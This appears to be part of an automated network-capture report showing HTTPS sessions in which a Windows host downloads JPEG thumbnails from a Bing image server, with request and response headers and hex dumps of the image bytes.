2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 7e be f4 0e c0 d9 0c 58 71 f9 63 f5 a5 dc 36 e0 f2 01 1c 0f 7a 63 10 17 d3 00 92 45 34 9f 94 e4 e7 a7 eb fc ba 7e 14 05 89 32 77 73 f8 e6 80 70 d8 07 91 d3 db 8a 61 3d ce 29 01 3b 40 23 1c e6 81 92 13 e9 9e df 5a 43 cb 72 3f 3f 7f f3 d6 93 03 6f 4e a3 07 1c f3 df 3f e7 fa 53 58 f5 c6 3b ff 00 9f fe b5 00 39 9b 3c f7 1c f1 eb 48 73 bb 1d 7a e7 8a 42 c0 36 07 5e 78 ff 00 3f e4 52 12 08 04 fa ff 00 9f ae 69 31 30 e9 d3 8c 71 f4 ff 00 3e b4 99 ca f1 cf a9 1e 94 9b b3 d0 82 79 cd 05 81 e4 1c fa 1c e7 fc f4 a0 2e 29 3b 7d fd 86 3f 0c 7a 53 47 de 19 ef f4 18 a3 07 f9 9a 3a 37 e7 f4 c6 3a 1c fe 94 c6 03 95 07 18 ce 68 1c 72 54 71 fc f3 4d 04 72 07 42 3f 3f 5a 32 42 13 eb 9c 74 39 ef f9 d0 01 cf 5c e4 93 fe 7b 51 9e e3 8f f3 da 8c 80 e0 76 3d c6 3f 9d 35 8e dc 12 Data Ascii: ~Xqc6zcE4~2wspa=);@#ZCr??oN?SX;9<HszB6^x?Ri10q>y.);}?zSG:7:hrTqMrB??Z2Bt9\{Qv=?5
2025-01-16 16:20:22 UTC	16384	IN	Data Raw: 71 d7 9e 3f cf d4 54 fa 6d ad c5 f5 c0 8a 15 dc cd 83 8c e4 85 ce 0b 60 75 03 93 c6 70 3f 3a ab 21 03 a7 cb ea 33 c8 1d 87 f9 ff 00 1a ee fe 0b e9 33 6a be 24 d3 5e cb 29 79 15 d2 4b 0f a4 c6 22 58 80 73 d4 82 c3 67 7c 0e bc 8a ae 85 a5 76 92 2e 78 57 e1 b6 ad ad db 69 f2 2e 99 2f d9 de dc 24 f7 1c 32 bb 09 a4 4d ab ea 4a ec 00 77 ca 9e 99 35 f5 6f c1 2d 13 fe 11 2f 05 b5 a3 46 25 be 9a 53 00 1b 82 aa 93 1a 06 50 de 82 4d fc f7 27 f1 ab 5a 06 99 a3 e9 96 31 2e 9a f0 98 c4 c2 5b 36 78 82 7d 96 27 c1 5c f6 3b 41 db d4 13 81 df 39 a7 e2 7f 10 e9 7e 16 d1 6c e3 86 e7 7c 96 6f 24 d1 4b 21 0b 99 18 e0 12 4e 00 08 0b 12 c4 60 31 1d f0 2b cd ad 26 f5 b9 f4 b8 2c 1a a7 2d 16 ac d4 f1 74 8f 6b a0 ea 8f 73 7a a2 da d5 82 bc 92 02 11 9c a8 25 41 f4 51 c7 be 7b f4 3e Data Ascii: q?Tm`up?:!33j$^)yK"Xsg\|v.xWi./$2MJw5o-/F%SPM'Z1.[6x}'\;A9~l\|o$K!N`1+&,-tksz%AQ{>
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 98 59 b3 c8 e0 02 73 8f cf 9a d8 54 80 1c 81 cd 55 9e e9 16 66 8d 64 8f 72 f2 54 b6 38 a8 44 77 5f 63 28 8e 7c ce 06 4f cb 8e 84 fa 8a 7c c8 95 16 58 bd d4 ed 60 93 6b c8 a0 8c 71 e8 09 c0 3c 7b d4 43 5a b5 37 22 03 71 10 90 8d ca 9b fe 62 33 8c e3 ae 32 40 e9 d6 b2 b5 0d 39 df e7 72 0b 10 37 a8 fb ae 00 03 a9 f4 03 e9 d2 b8 ad 5f 42 f1 0c 3a b4 f7 5a 5b f9 f0 cb 6c 23 8f 93 b9 30 1f 2b 80 09 ce 58 1c 8c f0 07 d6 b3 95 49 23 48 d3 4c ef f5 2f 10 da c3 70 22 e5 db a9 da 47 41 d7 f2 e2 9b 6d ae da 5c b4 87 27 6a 46 58 1f ef 0c 03 c7 e7 d6 b9 8d 1f c0 1a f6 ac 91 4f a8 df c9 61 13 dd ac d2 a1 c3 4a f1 aa f0 bc 60 2f 24 f6 e0 67 d6 bb 8b 1f 07 e8 b6 d6 6d 6c 21 63 1b b8 69 01 73 97 20 01 82 73 9c 60 0e 06 07 5f 5a 22 e7 2d 45 28 c6 24 5a 55 fa df 43 6e 60 52 Data Ascii: YsTUfdrT8Dw_c(\|O\|X`kq<{CZ7"qb32@9r7_B:Z[l#0+XI#HL/p"GAm\'jFXOaJ`/$gml!cis s`_Z"-E($ZUCn`R
2025-01-16 16:20:23 UTC	16069	IN	Data Raw: d4 fe 24 d2 13 50 81 a1 b7 94 ee 72 c0 48 a0 12 30 48 38 23 a7 71 eb d2 bc 13 e2 e6 9c d6 5e 61 8b 08 c5 82 cc ad f7 b7 28 ce d2 33 d3 95 24 93 8c 91 ef 5f 33 88 a0 e9 d4 b9 f6 78 5c 42 ab 4d 1f 38 6b da 24 ba cd f3 e9 f6 71 a9 bb 68 cc a2 49 a6 11 89 18 1e 54 12 40 27 1c e7 3c 9e 9d 39 fa 3f f6 25 f8 37 a8 ae 82 ba b5 fb c9 a5 5f c1 70 19 2e a1 8c 3c 77 50 9c e5 31 9d 8c 3b 12 46 e1 d3 b0 35 4b f6 65 f8 3f ad eb 1e 32 be d4 b5 19 ed ff 00 b3 fc b5 44 b9 89 81 d9 83 b8 18 c8 dc ae 0e 59 0e 18 60 e7 d3 15 f5 df 86 b4 9b 4d 0b 49 8e ce d9 15 76 00 19 80 0b bc 80 06 e2 00 00 12 00 e8 00 af 5b 0f 09 4e 29 4b e1 3c 9c 5d 58 d3 6f 97 e2 65 b8 2d e0 b1 b1 8e 08 86 d8 e2 50 a3 93 c0 fa 9c 9f f0 aa 32 ea 91 bd fa 5b c4 fb 91 e0 32 99 06 36 e0 10 08 e7 9c f3 4b ad Data Ascii: $PrH0H8#q^a(3$_3x\BM8k$qhIT@'<9?%7_p.<wP1;F5Ke?2DY`MIv[N)K<]Xoe-P2[26K
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: b4 ad 49 a6 d3 2c a3 b8 81 18 c9 f6 9b 58 64 55 da 39 cf 04 8e 06 78 2a 3b 8e 2b bf d1 34 ed 0f c4 1a 65 9f da a6 57 91 90 2d b4 e2 5c 18 a4 03 25 55 fe f2 8f 60 48 03 b7 07 16 ec 2e 34 99 94 07 4b c8 ee b6 86 8a 57 d8 e1 d7 82 14 48 a0 06 c1 ce 0e 55 b8 1d 73 50 49 0f 87 53 56 92 da 3b 88 34 f9 ef 9c 89 ec a5 04 db ce c0 f2 36 b6 0c 6c ad c8 21 b2 0f 38 e7 99 b7 51 f3 68 61 f8 d3 c0 d6 3a 92 48 97 cd 73 67 70 01 61 75 21 08 41 20 61 c9 04 47 28 6e e4 00 de bd c5 79 0f 8e fc 25 e2 2d 02 1f b3 dd 69 8d 25 9e 41 49 e3 97 cc 8c 8e cc 8e 00 e3 91 c1 00 f2 2b da bc 71 6d 69 69 6e 91 5f 24 81 55 c8 56 96 06 92 32 41 23 89 50 ab ab 8f 7d d9 1d 8f 53 9f a6 cf 14 76 3e 56 9c f1 cf 69 bb 05 45 c7 9d 1c 44 f4 e3 21 d4 1c 77 52 3b f1 5a 53 93 44 5a e7 cd 91 e8 76 f3 Data Ascii: I,XdU9x*;+4eW-\%U`H.4KWHUsPISV;46l!8Qha:Hsgpau!A aG(ny%-i%AI+qmiin_$UV2A#P}Sv>ViED!wR;ZSDZv
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 32 98 05 70 3b fa f7 a4 24 f4 a5 53 9e 47 03 df f9 d1 8e 73 db 3d 28 33 15 4f 63 4a 09 3d 7f 0a 45 c7 4f f3 cf d6 8e bc f3 c7 4f 7a 68 07 8e 7b 54 96 e8 1e 60 a4 e0 7a 9e b4 96 db 0b e4 f4 f4 f5 ab 33 72 01 00 0e 28 65 a2 1b b5 8e 29 31 13 ee 18 e4 9e 3f 91 35 18 f7 c8 fe 94 8d 92 c7 b8 fe 74 12 72 3d 73 e9 ff 00 d7 a6 4b 1d 90 79 38 c9 e7 9a 76 49 7e 37 74 c7 4a 8f eb f5 ff 00 0a 70 3e b4 0c 79 24 a8 1d 69 41 c2 f3 8a 8c 11 d3 f4 e2 9c 08 da 33 d2 81 a1 de d4 a4 e1 79 e9 8f fe b5 46 d9 3c 91 8f d6 97 23 d3 19 e9 e9 40 98 fd d8 5c 76 f6 fc a8 1c 70 7a 54 6c 79 23 27 3c f4 a5 0f 9f af 6a 68 63 c1 1d 7b 74 e6 83 fa 9c 66 a3 c9 e3 1f ca 9d bb 0c 31 f8 8a 04 d1 26 7e 5f 7f 6e 29 0b 12 b9 1d 0f 43 ef 4c 2d 9e be dd a9 37 7c bf 78 ee 1d e9 85 89 0f a6 0f 3d 45 Data Ascii: 2p;$SGs=(3OcJ=EOOzh{T`z3r(e)1?5tr=sKy8vI~7tJp>y$iA3yF<#@\vpzTly#'<jhc{tf1&~_n)CL-7\|x=E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49750	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:22 UTC	375	OUT	GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2025-01-16 16:20:22 UTC	863	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 835660 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E984D6D06C7C4D3898D0086840166F73 Ref B: EWR311000104025 Ref C: 2025-01-16T16:20:22Z Date: Thu, 16 Jan 2025 16:20:22 GMT Connection: close
2025-01-16 16:20:22 UTC	3517	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``dExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:23:408
2025-01-16 16:20:22 UTC	8192	IN	Data Raw: 60 af 1d 81 a1 c5 d2 37 12 23 6b 3d b6 7b da ef fa d2 dc ac e0 65 31 dd 27 2d a5 ed 2e 17 52 f6 17 3c d4 74 2e 1e c0 d6 7a 8f 7b 77 b2 af 65 68 f6 1a e8 c7 f4 c7 e8 da d1 0d 9f a2 49 fa 2c d1 53 c4 bb ec 4d 73 9f 58 68 76 e7 92 47 e9 00 00 49 dc 3f 9d e3 6f d1 f6 2a c3 2c 84 8c 80 1b 70 81 df fb cc d1 88 e1 00 e9 d4 a7 7d 42 bb 4c fa 8f ae c6 96 d6 1c e9 0c 6f ee ec 63 6b 6b 76 bb f9 c7 aa 5d 32 dc 66 e7 5b 85 6e 3b 43 5e e7 3e a7 ed 00 16 b7 e9 57 ed 86 7d 2d db 12 ea 39 cc 63 1c 5f 65 84 3b 47 00 dd ad 03 5f f4 6e de dd bf e1 1e 96 46 37 58 b3 2f a5 e4 62 0f b5 53 e9 30 db 59 6f e9 2b 0c 02 8b dd 7b fd db a9 dc dd b5 5d fe 13 d3 ff 00 3c c3 14 e5 09 4b c3 a6 9b 75 56 5e 12 40 d0 d1 ea eb d8 f7 58 fd 94 80 2b 00 02 40 05 cd 27 c7 fd 1f b7 6f a6 a5 6b 32 Data Ascii: `7#k={e1'-.R<t.z{wehI,SMsXhvGI?o*,p}BLockkv]2f[n;C^>W}-9c_e;G_nF7X/bS0Yo+{]<KuV^@X+@'ok2
2025-01-16 16:20:22 UTC	4144	IN	Data Raw: f4 ac 63 43 15 35 c8 95 ee 6f 1a b4 f7 6c da f1 37 85 35 0b 8d 62 de f3 ed d0 2c 36 ff 00 33 ef f9 99 f3 d9 79 e2 b9 df 13 78 67 50 f1 24 8f a4 db ea d7 56 b6 ec ec d2 fc ea be 73 1f ef ed ed 4d b3 f1 dc 17 b1 c3 0d c4 9b 63 95 d9 a6 99 37 45 bf 3d 05 75 d7 5a 86 95 a7 69 a8 ad fe 87 0c b3 47 bd 3e 69 59 d8 57 42 f6 b4 1c 6f 15 7f 42 bd a4 67 f0 b3 07 54 f0 f4 ba 77 87 1e 1b 7f 3e f2 4b 7f 2d 61 44 b2 5d a9 f3 6d ed fe cf 73 56 1b 4e b3 b7 8d 2d e6 bb dd fe 8f f3 fd 9d 3e 64 5f ee 16 ad db 1d 4e db 54 81 24 9a 3b 58 ad d5 19 9e 17 f9 b7 ed a6 78 56 cb 51 ba 8e 6d 53 52 82 0b 08 65 99 9a d1 3e ef ee f6 d4 4a ac b9 5f 33 b1 49 ea 72 9a f7 87 27 bf 82 ee e3 50 d4 a4 bc 59 76 cb 63 17 90 b1 2a 67 fe 7a 66 a8 78 8b c2 8d 65 1c 37 9a 2e a5 27 db 22 db 14 b1 79 Data Ascii: cC5ol75b,63yxgP$VsMc7E=uZiG>iYWBoBgTw>K-aD]msVN->d_NT$;XxVQmSRe>J_3Ir'PYvc*gzfxe7.'"y
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: fc b5 34 c1 8c 75 0c 8f b2 3a 56 b1 51 9b 6d c5 91 5d 0d b2 53 a3 75 5d 8b 4d 51 e6 fd ef 96 9c b1 ab 7d da 5b 9b 2d 23 6e 85 99 24 dd 1e d5 f9 69 9b 36 7c d4 42 8d 44 89 fb cd be 65 2b d8 a5 17 72 48 e5 6f f5 6b 1d 68 5a 9f dd ed 6a ce 85 3f 7f b7 cb ad 35 8b f8 ab 19 a4 d5 8d 23 2b 17 ad ef 5d 53 72 d4 97 5a 8a a4 08 df 75 9b ef d6 7c 71 7f 0a fc b5 35 9d bb cb 27 fa 47 dd 5f b9 5e 5d 4a 51 8e e7 b5 86 ab 16 b5 2c da 86 96 44 91 63 fb df c7 4f 99 e5 4b af 2e 4f 95 56 af 2a 37 97 e5 c7 1e e5 fe 3d 95 9b 35 b6 d9 1e 48 e3 91 99 bf bf 5c 9b b3 d2 84 bb 99 77 52 7d b2 77 dd 27 dd a9 b3 14 71 a4 31 fc ab fc 75 24 7a 63 f9 7e 67 9f 23 7f 0b ff 00 bd 48 d6 db 24 db e5 ed ae 98 b8 3d 2f a0 a5 51 a6 3e 49 65 96 04 5f 2f e5 ac 7b 8d c9 3a 7e ef e5 ff 00 62 b6 a3 Data Ascii: 4u:VQm]Su]MQ}[-#n$i6\|BDe+rHokhZj?5#+]SrZu\|q5'G_^]JQ,DcOK.OV*7=5H\wR}w'q1u$zc~g#H$=/Q>Ie_/{:~b
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: cf 3d ac 7b 7c bf 95 53 f8 ea 65 a2 d0 bb 9a 32 6b ea fb e3 58 e7 59 1b ee 7c 9b ba d5 7f b4 de 41 3b fd a2 3f 97 ee ba 4d f2 d5 0d 2d 2f 25 91 2e 3c 89 3c b6 f9 93 67 cc dc 56 de a5 13 5c 7e e5 6c 27 97 72 7f b5 f2 35 67 28 f2 68 ce 98 4a 4d 18 37 06 d9 63 55 5f 33 73 7c a8 89 ba a4 d1 63 b9 6b e8 6d 63 83 f7 8d f7 fc e4 dd fa 77 ad 7d 07 47 db a8 a5 d4 d1 c9 6f b7 ee 6f ae 9a f2 4d 16 df 52 da b3 c8 cc a9 fe b9 13 fa d7 3c ea 28 b6 b7 36 a5 16 f5 19 79 26 87 a5 ff 00 a3 fd 82 fa 59 bf 8d d2 0d cb f5 db e9 4b aa 19 6d 75 28 7c b8 2e 95 9a 6f e3 93 ee 2f 62 c3 8f e1 ab 7a 96 af 62 f3 f9 36 ff 00 34 9e 4f ce ef b9 7a fc bd b9 ad a8 ec e2 9e d5 2f 1b cc 58 e2 7f 2a 14 7d cb bf 1f 36 39 fd 6b c7 9d 77 0d 5e c7 ad 4a 9a 92 d8 cc d4 85 f4 fa 72 5b da c1 e6 b5 Data Ascii: ={\|Se2kXY\|A;?M-/%.<<gV\~l'r5g(hJM7cU_3s\|ckmcw}GooMR<(6y&YKmu(\|.o/bzb64Oz/X*}69kw^Jr[
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: 3d 2d da 0f 9a ba 7d 26 f9 a5 91 23 93 e5 ff 00 72 b9 ed 26 d1 a6 93 6a fd ea e8 b4 bd 2a 7f f5 9f c2 ae aa ff 00 ef 76 ae 99 a4 96 ac f0 ab 4b df d3 73 b0 d2 6d 92 58 3f de ab f7 1a 54 e9 b1 96 3d cb 50 f8 36 c2 e5 64 46 93 ee d7 51 70 62 5d 90 fe f3 cc 6f b8 89 5e 3d 6c 43 84 ed 7d 0e 79 4a ef 43 9b 9b 4f bc f2 f7 79 14 e8 ed d8 41 b6 48 f6 b5 75 de 57 ee fe 58 24 6f fc 7a a1 bc d3 b5 0b a8 ff 00 77 a4 cf bb ee a3 ba 56 3f da 56 d1 9a 53 c3 55 a8 b4 57 39 55 89 ad e3 f9 63 91 99 bf e0 55 2c 76 ec d2 7f cb 45 66 ae 97 49 f0 c6 ae b7 4f f6 8b 0b a6 f9 3e 4f dc 33 2d 5c b8 d2 22 4b a7 fd dc 8b 26 cf e3 f9 69 bc d6 9f 35 93 d4 e8 fa 8d 68 eb ca fe e3 99 fb 3e d8 fe 6f bd 42 c4 ad 27 cd ff 00 7c 56 fc da 34 ad f3 43 fe f5 56 9b 4b b9 83 f7 93 41 23 54 c7 1b Data Ascii: =-}&#r&j*vKsmX?T=P6dFQpb]o^=lC}yJCOyAHuWX$ozwV?VSUW9UcU,vEfIO>O3-\"K&i5h>oB'\|V4CVKA#T
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: 4f a8 c7 f6 cb 8d 36 fa e9 7e ce df 67 49 9d 62 81 31 dc b1 ae 4b c3 7a 77 89 ee a0 d4 2d 6c de 3d 3a e3 7c 7f 67 bb b4 4f 96 e7 1f 79 63 6f 4a de 9c 39 a9 cb 9a 56 be f7 d0 b8 b5 ce 91 67 e2 77 83 e7 b8 f1 85 a4 da 2d f5 d4 57 52 a7 fa 94 7f 35 77 77 63 bb f5 ac cb 38 f5 0b d9 ec 5a de ef 43 d4 6c ef e2 5f 29 26 83 c8 df 8e ab df 15 d9 ea 49 aa db c7 f6 89 3c b5 65 87 ec 73 22 4f fb f7 67 5c 16 93 1f 71 6a 1d 2c c5 a5 e9 56 37 d3 47 63 f6 38 9f fd 4c 29 f3 73 fd d4 e0 ba 0c 75 1f 8d 6d 47 11 25 4d 27 ab 5f 79 95 58 d3 e6 de d7 24 f1 67 8a 62 d2 2e bf e1 0b f0 cc 73 cb 75 75 a5 db fd 87 4e bb db 2a c3 36 e7 66 57 65 1f 79 14 e5 73 f2 d7 07 25 df 88 fc 1b 7c f7 9a 84 76 37 1a 84 b0 c7 f3 be e6 96 db 2d e6 e0 f6 2e ea bc e7 a5 76 56 ba 66 99 75 f6 8d 72 3b Data Ascii: O6~gIb1Kzw-l=:\|gOycoJ9Vgw-WR5wwc8ZCl_)&I<es"Og\qj,V7Gc8L)sumG%M'_yX$gb.suuN*6fWeys%\|v7-.vVfur;
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: 6e a4 d3 5d a2 b7 b8 78 3f 7e f1 ee f9 7e 55 fe 1f 7a da 9e 02 9d 1f 7f 93 9a 5d 2f b2 36 fa cb 92 b2 76 47 55 a9 6b 70 3d ab dc 34 7a 96 93 75 71 0b 44 fa 74 d0 32 ec 6d d8 0d 87 e3 3f 4a cf d3 f5 0b 9d 22 c7 49 b8 92 08 e2 b5 8a 19 20 9a ee e1 1b c8 bd 69 24 93 2c f2 2f fa a9 76 f4 f5 ac df 1e 78 b7 4f bd 92 6b c8 60 d6 2c d5 6d d5 52 6b b8 37 34 cd df 1d ff 00 bc dd 2b 47 c3 7a bc be 21 f0 cb fd a2 ff 00 ec 76 f7 13 33 43 63 0f dd 85 bc bc 6f 9b cc e1 fa 70 ab fd ea d3 d8 4d a7 37 05 6e bf d5 88 97 b3 93 b4 de bd 0d b8 7c 39 04 fa 3f f6 2e ad 04 17 96 f3 a4 93 a4 d0 cf bb fb 3d 93 e6 f3 3e 5f 9b 07 d1 2b cb bc 59 e1 ab ed 37 c4 16 8b a2 f8 5e 7b cd 1d b7 32 43 0e ef 91 b6 fd e1 bf d6 bb bf 0e c1 67 a4 68 f3 69 b7 10 46 b1 ec 59 d1 e1 dd 17 9c c5 be 72 Data Ascii: n]x?~~Uz]/6vGUkp=4zuqDt2m?J"I i$,/vxOk`,mRk74+Gz!v3CcopM7n\|9?.=>_+Y7^{2CghiFYr
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: 87 90 87 7f e3 fb cb 5d ef 82 6f f4 34 9e ef 5a 86 09 3e d8 de 5e c9 92 06 81 51 5d 7f 8d 54 8c 28 f9 71 59 fe 32 f1 6e 91 a7 25 be a4 de 1a 9e eb 4b b8 79 1a 6b b4 dc ca eb b7 67 cc 87 d1 b7 73 9a c7 eb 52 94 9a 8a ff 00 33 19 61 2a 29 6a 8f 29 f8 89 a1 4f 17 89 ae 21 f0 cd 8e aa b6 32 bb 4f e6 a6 d6 fb 37 9d b3 6b 6e 52 15 f3 b9 56 ba 0d 73 c3 3a ae 8b e1 6f f8 98 6f d7 ae 34 94 ff 00 4e f2 ac bf 7b e6 6e db 1a 06 1f c2 17 6d 74 da 97 8b 74 3b cb 4f b0 b4 93 cb 6b 12 47 bd 12 0d b3 a3 6e f9 87 99 d3 ee fb 7f 15 57 be 91 35 4f 0e 45 0f 86 ee f4 d8 a6 6b b9 19 ed fc f6 89 ae 57 cb f9 3c b1 fd e0 bc 9e b5 ac 2a 56 b4 55 b4 eb dc c1 e1 b1 11 97 bb 2d 0c 3f 09 e8 53 ae 8f f6 a9 b4 d9 2e 2f 3e 5b c9 b5 3f b5 48 b2 c3 f3 6d 55 65 8c fd f0 c3 fb a6 b8 9d 43 50 Data Ascii: ]o4Z>^Q]T(qY2n%KykgsR3a)j)O!2O7knRVs:oo4N{nmtt;OkGnW5OEkW<VU-?S./>[?HmUeCP
2025-01-16 16:20:23 UTC	8192	IN	Data Raw: b8 8f 7e e4 bb 85 f7 2b e3 ef 37 f1 2b 0e 3e f7 5a cd f1 26 b2 d7 d3 dd df 5a da 49 a6 e9 ab 69 0b 6f 95 3c a9 7c c2 c1 13 0f 93 b9 8f cd 83 57 fc 40 f7 3e 1c 81 ed ee 27 83 74 53 2b 3c db 36 c4 ff 00 2e 31 f3 0f bb b7 a5 54 d1 d2 2d 5b 5c b1 9b c4 56 93 cb ff 00 2c 12 67 45 f9 17 fb b1 a7 dd fe 2e 09 ed 5e a4 64 95 9b 5a 1c f2 bc ca 92 78 cb 53 d2 b5 49 ac 74 fb 48 ee 2c ec ec 63 9f 63 be d6 4c a8 f9 76 2f df 66 6e f5 bb 79 7e be 26 f0 aa 5f 6a da 6d f6 97 22 a3 2d bf 92 8d 2c 48 a5 be 6f bf f2 ed 3f ce a8 db f8 3e 29 75 84 d4 97 fb 49 63 96 6f 29 12 e2 05 96 59 b1 fc 31 aa ff 00 5e 16 bd 22 1f 0f d9 a4 f6 2d 7d 77 aa ad bb 5b c7 bf 4e 4f 99 66 54 e1 70 c3 ee 01 de aa 72 a3 14 9c 77 08 c2 71 8d 8f 3e d0 7c 2a be 19 f1 05 a5 d5 e6 a5 24 5a 7f 95 1c f7 16 Data Ascii: ~+7+>Z&ZIio<\|W@>'tS+<6.1T-[\V,gE.^dZxSItH,ccLv/fny~&_jm"-,Ho?>)uIco)Y1^"-}w[NOfTprwq>\|*$Z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49751	150.171.28.10	443

Timestamp	Bytes transferred	Direction	Data
2025-01-16 16:20:22 UTC	375	OUT	GET /th?id=OADD2.10239405475857_1HVCAGG6HX6F987D5&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2025-01-16 16:20:22 UTC	856	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 349448 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0DDAE56A749349019FB9740C9E405793 Ref B: EWR311000103017 Ref C: 2025-01-16T16:20:22Z Date: Thu, 16 Jan 2025 16:20:21 GMT Connection: close
2025-01-16 16:20:22 UTC	15528	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 f4 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 3a 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 ac 87 69 00 04 00 00 00 01 00 00 00 c0 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 36 2e 32 20 28 32 30 32 34 31 31 32 37 2e 6d 2e 32 38 38 35 20 31 37 39 37 34 33 31 29 20 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 32 3a 31 33 20 31 30 3a 30 38 3a 31 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 Data Ascii: JFIFHHExifMM*bj(1:r2i``Adobe Photoshop 26.2 (20241127.m.2885 1797431) (Windows)2024:12:13 10:08:14
2025-01-16 16:20:23 UTC	16384	IN	Data Raw: 48 17 3c 54 a3 b6 28 65 1e 94 f9 82 e4 7b 7e 5e 3a 7f 3a 76 df 97 8e 94 ec 0d a7 bd 1e d4 9c 86 34 73 49 cf 6a 5e 9c 7a 9f 5a 5c 0f c6 a6 e3 43 3a 00 3b 53 8e 7a f7 f4 a4 24 9e 9c fa 52 37 2b 8c 73 52 c4 2a 9e fd 73 43 71 ff 00 d6 a4 27 d5 87 f3 a6 e7 3d 7a d0 c7 71 47 3d 69 7a 2e 0d 37 1e b4 b9 23 e8 7d 6a 18 87 a9 23 b7 14 e6 3d bf 4a 8c 11 de 85 62 7f ad 4b 45 13 06 1d fd 69 73 8e 07 4a 8b 3f 31 cf 14 6e fd 6a 00 98 1c 36 28 e9 c6 7f 2a 8c 1c af 14 a0 fd 28 02 5c e3 f1 eb 41 3e bd 45 47 9e 9d e9 73 8e 29 a2 47 8e 1a 82 71 f4 a6 e7 d6 90 1c f0 7d aa c0 71 3c 7d 69 3f 4a 09 cf 7f ff 00 55 34 60 74 ad 22 03 d7 d7 af 7a 4a 32 7a 7a d0 7f 41 54 48 03 d8 f5 a4 c1 a5 20 8c 8a 07 af 53 5a 26 03 1a 93 07 6f 1f 9d 49 8c d2 36 47 26 a9 30 23 f4 cf 4a 4c 61 46 7f Data Ascii: H<T(e{~^::v4sIj^zZ\C:;Sz$R7+sRsCq'=zqG=iz.7#}j#=JbKEisJ?1nj6((\A>EGs)Gq}q<}i?JU4`t"zJ2zzATH SZ&oI6G&0#JLaF
